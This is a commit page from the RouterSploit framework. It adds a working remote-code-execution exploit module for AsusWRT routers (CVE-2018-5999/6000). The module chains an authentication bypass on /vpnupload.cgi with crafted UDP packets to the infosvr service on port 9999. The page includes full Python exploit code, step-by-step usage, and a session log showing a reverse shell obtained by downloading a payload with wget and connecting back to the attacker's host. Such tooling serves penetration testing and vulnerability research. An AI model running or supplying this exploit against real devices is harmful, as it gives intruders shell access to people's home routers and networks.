Unverified Commit 4b92da08 by Marcin Bury Committed by GitHub

Module: AsusWRT Lan RCE (#507)

parent c351256d
## Description
Module exploits multiple vulnerabilities to achieve remote code execution in AsusWRT firmware. The HTTP server contains vulnerability that allows bypass authentication via POST requests. Combining this with another vulnerability in the VPN configuration upload functionality allows setting NVRAM configuration variables directly from the POST request. By setting nvram variable ateCommand_flag to 1 it is possible to enable special command mode which allows executing commands via infosvr server listening on port UDP 9999. Module was tested on Asus RT-AC68U 3.0.0.4.380_7378.
## Verification Steps
1. Start `./rsf.py`
2. Do: `use exploits/routers/asus/asuswrt_lan_rce`
3. Do: `set target[TargetIP]`
4. Do: `run`
5. If router is vulnerable, it should be possible to execute commands on operating system level.
6. Do: `set payload reverse_tcp`
7. Do: `set lhost [AttackerIP]`
8. Do: `run`
9. Payload is sent to device and executed providing attacker with the command shell.
## Scenarios
```
rsf > use exploits/routers/asus/asuswrt_lan_rce
rsf (AsusWRT Lan RCE) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (AsusWRT Lan RCE) > run
[*] Running module...
[+] Successfuly set ateCommand_flag variable
[+] Welcome to cmd. Commands are sent to the target via the execute method.
[*] For further exploitation use 'show payloads' and 'set payload <payload>' commands.
cmd > show payloads
[*] Available payloads:
Payload Name Description
------- ---- -----------
bind_tcp ARMLE Bind TCP Creates interactive tcp bind shell for ARMLE architecture.
reverse_tcp ARMLE Reverse TCP Creates interactive tcp reverse shell for ARMLE architecture.
cmd > set payload reverse_tcp
cmd (ARMLE Reverse TCP) > show options
Payload Options:
Name Current settings Description
---- ---------------- -----------
lhost Connect-back IP address
lport 5555 Connect-back TCP Port
encoder Encoder
cmd (ARMLE Reverse TCP) > set lhost 192.168.1.115
lhost => 192.168.1.115
cmd (ARMLE Reverse TCP) > run
[*] Using wget method
[*] Using wget to download binary
[*] Executing payload on the device
[*] Waiting for reverse shell...
[*] Connection from 192.168.1.1:56981
[+] Enjoy your shell
ls -la
drwxr-xr-x 18 admin root 325 Mar 15 2017 .
drwxr-xr-x 18 admin root 325 Mar 15 2017 ..
drwxr-xr-x 2 admin root 3 Mar 15 2017 asus_jffs
drwxr-xr-x 2 admin root 706 Mar 15 2017 bin
drwxr-xr-x 2 admin root 3 Mar 15 2017 cifs1
drwxr-xr-x 2 admin root 3 Mar 15 2017 cifs2
drwxr-xr-x 5 admin root 1540 Aug 1 2015 dev
lrwxrwxrwx 1 admin root 7 Mar 15 2017 etc -> tmp/etc
lrwxrwxrwx 1 admin root 8 Mar 15 2017 home -> tmp/home
drwxr-xr-x 5 admin root 0 Sep 4 22:40 jffs
drwxr-xr-x 3 admin root 402 Mar 15 2017 lib
lrwxrwxrwx 1 admin root 9 Mar 15 2017 media -> tmp/media
drwxr-xr-x 2 admin root 3 Mar 15 2017 mmc
lrwxrwxrwx 1 admin root 7 Mar 15 2017 mnt -> tmp/mnt
lrwxrwxrwx 1 admin root 7 Mar 15 2017 opt -> tmp/opt
dr-xr-xr-x 106 admin root 0 Jan 1 1970 proc
drwxr-xr-x 7 admin root 766 Mar 15 2017 rom
lrwxrwxrwx 1 admin root 13 Mar 15 2017 root -> tmp/home/root
drwxr-xr-x 2 admin root 2428 Mar 15 2017 sbin
drwxr-xr-x 11 admin root 0 Jan 1 1970 sys
drwxr-xr-x 2 admin root 3 Mar 15 2017 sysroot
drwxrwxrwx 13 admin root 860 Sep 4 22:50 tmp
drwxr-xr-x 8 admin root 139 Mar 15 2017 usr
lrwxrwxrwx 1 admin root 7 Mar 15 2017 var -> tmp/var
drwxr-xr-x 14 admin root 6036 Mar 15 2017 www
```
from struct import pack, unpack
from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient
from routersploit.core.udp.udp_client import UDPClient
class Exploit(HTTPClient, UDPClient):
__info__ = {
"name": "AsusWRT Lan RCE",
"description": "Module exploits multiple vulnerabilities to achieve remote code execution in AsusWRT firmware. "
"The HTTP server contains vulnerability that allows bypass authentication via POST requests. "
"Combining this with another vulnerability in the VPN configuration upload functionality allows "
"setting NVRAM configuration variables directly from the POST request. By setting nvram variable "
"ateCommand_flag to 1 it is possible to enable special command mode which allows executing commands "
"via infosvr server listening on port UDP 9999. Module was tested on Asus RT-AC68U 3.0.0.4.380_7378.",
"authors": (
"Pedro Ribeiro <pedrib@gmail.com>", # vulnerability discovery and metasploit module
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"references": (
"https://nvd.nist.gov/vuln/detail/CVE-2018-5999",
"https://nvd.nist.gov/vuln/detail/CVE-2018-6000",
"https://blogs.securiteam.com/index.php/archives/3589",
"https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt",
"http://seclists.org/fulldisclosure/2018/Jan/78",
),
"devices": (
"AsusWRT < v3.0.0.4.384.10007",
),
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
infosvr_port = OptPort(9999, "Target InfoSVR Port")
def run(self):
response = self.http_request(
method="POST",
path="/vpnupload.cgi",
files={"ateCommand_flag": "1"},
)
if response and response.status_code == 200:
print_success("Successfuly set ateCommand_flag variable")
else:
print_error("Failed to set ateCommand_flag variable")
return
shell(self, architecture="armle", method="wget", location="/tmp")
def execute(self, cmd):
ibox_comm_pkt_hdr_ex = (
pack("<B", 0x0c) + # NET_SERVICE_ID_IBOX_INFO 0xC
pack("<B", 0x15) + # NET_PACKET_TYPE_CMD 0x15
pack("<H", 0x33) + # NET_CMD_ID_MANU_CMD 0x33
bytes(utils.random_text(4), "utf-8") + # INFO
bytes(utils.random_text(6), "utf-8") + # MAC Address
bytes(utils.random_text(32), "utf-8") # Password
)
cmd = bytes(cmd, "utf-8") + pack("<B", 0x00)
pkt_syscmd = (
pack("<H", len(cmd)) +
cmd
)
payload = ibox_comm_pkt_hdr_ex + pkt_syscmd + bytes(utils.random_text(512 - len(ibox_comm_pkt_hdr_ex + pkt_syscmd)), "utf-8")
udp_client = self.udp_create(port=self.infosvr_port)
udp_client.send(payload)
response = udp_client.recv(512)
udp_client.close()
if response and len(response) == 512:
length = unpack('<H', response[14:16])[0]
return str(response[16: 16 + length], "utf-8")
return ""
@mute
def check(self):
return None
from unittest import mock
from routersploit.modules.exploits.routers.asus.asuswrt_lan_rce import Exploit
@mock.patch("routersploit.modules.exploits.routers.asus.asuswrt_lan_rce.shell")
def test_check_success(mocked_shell, target):
""" Test scenario - successful check """
route_mock = target.get_route_mock("/vpnupload.cgi", methods=["POST"])
route_mock.return_value = (
"<HTML><HEAD><script>top.location.href='/Main_Login.asp';</script>\n</HEAD></HTML>\n"
)
exploit = Exploit()
exploit.target = target.host
exploit.port = target.port
assert exploit.check() is None
assert exploit.run() is None
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment